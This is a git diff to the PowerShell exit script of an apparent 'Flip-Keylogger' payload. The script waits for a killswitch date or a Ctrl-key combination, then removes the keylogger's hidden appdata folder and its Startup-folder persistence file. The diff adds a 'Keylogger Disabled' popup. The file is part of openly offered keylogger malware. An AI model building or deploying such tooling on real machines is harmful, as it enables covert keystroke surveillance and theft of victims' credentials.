diff --git a/Payloads/Flip-Keylogger/exit.ps1 b/Payloads/Flip-Keylogger/exit.ps1 index 6e58b25..ea56a7e 100644 --- a/Payloads/Flip-Keylogger/exit.ps1 +++ b/Payloads/Flip-Keylogger/exit.ps1 @@ -3,11 +3,14 @@ Add-Type -AssemblyName PresentationCore $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') +Add-Type -AssemblyName PresentationCore,PresentationFramework + while($true){ if(((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){ sleep 10 Remove-Item "$env:appdata\-locker" -Recurse -Force; Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd" +$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3) Remove-Item "$env:appdata\-exit.ps1" } else{continue}